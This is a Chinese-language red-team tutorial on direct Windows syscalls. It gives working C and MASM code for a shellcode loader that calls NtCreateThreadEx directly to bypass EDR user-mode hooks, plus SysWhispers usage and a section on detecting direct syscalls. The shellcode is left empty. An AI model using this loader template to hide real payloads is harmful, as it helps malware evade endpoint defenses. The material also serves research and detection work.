浅谈Syscall
一、简介
Syscall
即system call
,是最近在红队领域比较热门的一种手法,主要用来规避AV、EDR类的设备检测。
Windows有两种处理器访问模式:用户模式和内核模式。使用Ring级来描述就是用户模式为Ring 3,内核模式为Ring 0,如图:
用户的代码运行在用户模式下,而驱动程序和操作系统代码运行在内核模式下,两者相互隔离,避免用户级别的代码影响到操作系统的稳定。
用户在调用一些与系统相关的API函数时,实际上是先从用户模式切换到内核模式,调用结束后再回到用户模式,通过Process Monitor
可以看到这个过程:
用户代码调用CreateFile()
,它由Kernel32.dll
导出,这里显示为KernelBase.dll
是因为自Windows 7和Windows Server 2008 R2开始,微软将一些功能进行了重定位,具体:新 Low-Level 二进制文件 - Win32 apps | Microsoft Docs
可以看到之后调用了ntdll.dll
的ZwCreateFile()
,有时候是NtCreateFile()
,两者对此处代码来说区别不大。
进入内核模式后,还能看到调用了ntoskrnl.exe
的NtCreateFile()
,这次调用和上一次有什么区别?
使用WinDbg来反汇编ntdll!NtCreateFile
:
0:001> x ntdll!NtCreateFile
00007ffc`6388d800 ntdll!NtCreateFile (NtCreateFile)
0:001> u 00007ffc`6388d800
ntdll!NtCreateFile:
00007ffc`6388d800 4c8bd1 mov r10,rcx
00007ffc`6388d803 b855000000 mov eax,55h
00007ffc`6388d808 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffc`6388d810 7503 jne ntdll!NtCreateFile+0x15 (00007ffc`6388d815)
00007ffc`6388d812 0f05 syscall
00007ffc`6388d814 c3 ret
00007ffc`6388d815 cd2e int 2Eh
00007ffc`6388d817 c3 ret
可以看到ntdll!NtCreateFile
非常简短,首先将函数参数放入寄存器,之后将CreateFile()
对应的系统服务号0x0055
放入eax
中,微软没有公开这些服务号的对应关系,但有大佬整理了一份:Windows X86-64 System Call Table (XP/2003/Vista/2008/7/2012/8/10).
之后有一个syscall
指令(X86系统使用sysenter
),它将把函数参数复制到内核模式寄存器中,再执行CreateFile()
的内核版本,调用完成后,返回值给用户模式的应用程序。
现在可以得到答案了,ntdll.dll
的NtCreateFile()
仅仅只是一层封装,真正的实现在ntoskrnl.exe
中。
二、使用Syscall
许多EDR类防护设备会对敏感的API进行hook,但有可能只是hook了Ring 3级别的API,通过直接进行系统调用就能绕过hook.
1. 剖析函数定义
以一个简单的shellcode加载器为例:
#include "stdafx.h"
#include "Windows.h"
int main()
{
unsigned char shellcode[] = ""; // calc x64
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, NULL);
Sleep(1000);
return 0;
}
观察CreateThread()
的调用栈:
依次为:kernel32!CreateFile
->KernelBase!CreateRemoteThreadEx
->ntdll!NtCreateThreadEx
利用IDA打开kernel32.dll
,能看到CreateFile
实际上是CreateThreadStub
,调用了CreateRemoteThreadEx
:
同样打开KernelBase.dll
,可以找到NtCreateThreadEx
在CreateRemoteThreadEx
里被调用:
微软并没有提供NtCreateThreadEx
的文档,所以需要我们自己去分析此函数的参数都有哪些:
v13 = NtCreateThreadEx(
&ThreadHandle,
0x1FFFFFi64,
v37,
hProcess,
v36,
v35,
v14,
0i64,
v15,
v34 & -(__int64)(v10 != 0),
v45);
x64平台代码默认的调用约定是最左边 4 个位置的整数值参数从左到右分别在 RCX、RDX、R8 和 R9 中传递,第 5 个和更高位置的参数在堆栈上依次传递。
- 参数一为
&ThreadHandle
- 参数二为
0x1FFFFFi64
- 参数三为
v37
,在IDA里能够看到:
v9 = BaseFormatObjectAttributes(&v44, lpThreadAttributes, 0i64, &v37);
跟入BaseFormatObjectAttributes
:
如果a3
为0,那么a4
也将为0,所以v37
为0.
- 参数四为
hProcess
- 参数五为
v36
,即lpStartAddress
,压栈地址为rsp+20h
,此时已经调用了call
指令,被调函数的返回地址入栈,rsp-8
,所以最终的参数地址为rsp+28h
,参数五的值是0000018b8ac60000
:
- 参数六为
v35
,即lpParameter
,值为0 - 参数七为
v14
,有一个判断流程,值为0:
- 参数八值为0,
- 参数九为
v15
,值也为0 - 参数十为
v34 & -(__int64)(v10 != 0)
,值为0 - 参数十一为
v45
,是一个数组
最终,得到NtCreateThreadEx
的定义为:
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
2. 直接调用NtCreateThreadEx
现在我们要越过CreateThread()
直接调用NtCreateThreadEx()
,以规避EDR对用户层API函数的hook,下面是实现代码:
#include <iostream>
#include <Windows.h>
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
int main()
{
HANDLE pHandle = NULL;
HANDLE tHandle = NULL;
unsigned char shellcode[] = ""; // calc x64
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
HMODULE hModule = LoadLibrary(L"ntdll.dll");
pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(hModule, "NtCreateThreadEx");
NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE, NULL, NULL, NULL, NULL);
Sleep(1000);
CloseHandle(tHandle);
CloseHandle(pHandle);
}
可以看到,调用栈里没有出现CreateThread()
:
3. 调用Syscall
现在已经去掉了CreateThread()
的调用特征,但如果EDR对ntdll.dll
也做了hook,我们就需要利用Syscall来规避了。
在Visual Studio中生成自定义外部依赖,选择masm
:
新建一个syscall.asm
,属性的项类型选择Microsoft Macro Assembler
,内容写入:
.code
NtCreateThreadEx proc
mov r10,rcx
mov eax,0C1h
syscall
ret
NtCreateThreadEx endp
end
这里的系统服务号需要根据目标系统自行修改,我的测试环境为Win10 20H2 x64
.
其他部分代码,只需要稍微修改以下之前的即可:
#include <iostream>
#include <Windows.h>
EXTERN_C NTSTATUS NtCreateThreadEx
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
int main()
{
HANDLE pHandle = NULL;
HANDLE tHandle = NULL;
unsigned char shellcode[] = ""; // calc x64
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
HMODULE hModule = LoadLibrary(L"ntdll.dll");
pHandle = GetCurrentProcess();
NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE, NULL, NULL, NULL, NULL);
Sleep(1000);
CloseHandle(tHandle);
CloseHandle(pHandle);
}
效果如下:
这里在用户层已经没有了调用ntdll!NtCreateThreadEx
的痕迹,U5
那里的NtCreateThreadEx
只是因为自定义的函数也叫这个名字,更改一下即可:
三、利用工具
关于Syscall最有名的工具应该就是Syswhispers和SysWhispers2,分别来介绍一下。
Syswhispers
可以根据你要规避的函数自动生成头文件和.asm
文件,并且还能适配系统版本:
# 导出所有函数,并且兼容所有支持版本的Windows
py .\syswhispers.py --preset all -o syscalls_all
# 仅仅导出常规函数,兼容Windows 7, 8, 10.
py .\syswhispers.py --preset common -o syscalls_common
# 导出NtProtectVirtualMemory和NtWriteVirtualMemory,兼容所有支持版本的Windows
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# 导出所有兼容Windows 7, 8, 10的函数
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
继续以NtCreateThreadEx
为例:
在项目中导入这两个作为头文件,在Visual Studio中生成自定义外部依赖,选择masm
;属性的项类型选择Microsoft Macro Assembler
,代码示例:
#include <iostream>
#include <Windows.h>
#include "syscalls_78X.h"
int main()
{
HANDLE pHandle = NULL;
HANDLE tHandle = NULL;
unsigned char shellcode[] = "";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
HMODULE hModule = LoadLibrary(L"ntdll.dll");
pHandle = GetCurrentProcess();
NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE, NULL, NULL, NULL, NULL);
Sleep(1000);
CloseHandle(tHandle);
CloseHandle(pHandle);
}
效果和之前是一样的。
SysWhispers2
是SysWhispers
的改进,相较后者,它使用了系统调用地址排序的方式来解决系统调用号匹配的问题,具体步骤为:
- 获取
ntdll.dll
的所有导出函数 - 计算函数名的哈希,将其和对应的函数地址保存在
SW2_SYSCALL_ENTRY
结构体中 - 按照函数地址,将一个
SW2_SYSCALL_ENTRY
从小到大排序 - 需要调用某个函数时,计算出函数名的哈希,遍历对比
SW2_SYSCALL_ENTRY
获得数组序号,这个序号就是系统调用号
一开始没能理解这样做的原理,后面经过@伍默以及@hl0rey的点拨,用IDA看了一下ntdll.dll
的导出函数以及对应的系统调用号,发现:
所以按地址从小到大排序后,数组的下标就相当于系统调用号。这里的规则只适用于ntdll.dll
,目前最新版本的Windows 10也还适用。
SysWhispers2
会生成3个文件,多了一个.c
文件,里面是地址排序和根据哈希查找的实现,需要导入到源代码部分。
四、检测与对抗
对于这种防御规避手段,也有研究者找到了相应的检测方法。
正常系统调用都是在ntdll.dll
的地址范围内完成的,而使用直接syscall的方式是自己实现ntdll
的相关导出函数,这样只要检测调用syscall的地址是否在ntdll.dll
的地址范围内就可以分辨哪些是正常系统调用,哪些是恶意软件。
研究者还给出了一个绕过上面检测的方法。EDR不能hook每个函数,所以可以先获取正常系统调用的地址,再使用jmp
指令跳转到正常系统调用处,以规避上面的检测方式,文章地址:
https://passthehashbrowns.github.io/hiding-your-syscalls
参考文章
https://www.anquanke.com/post/id/261582
https://blog.csdn.net/weixin_30480859/article/details/113370270
https://passthehashbrowns.github.io/detecting-direct-syscalls-with-frida
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/
https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav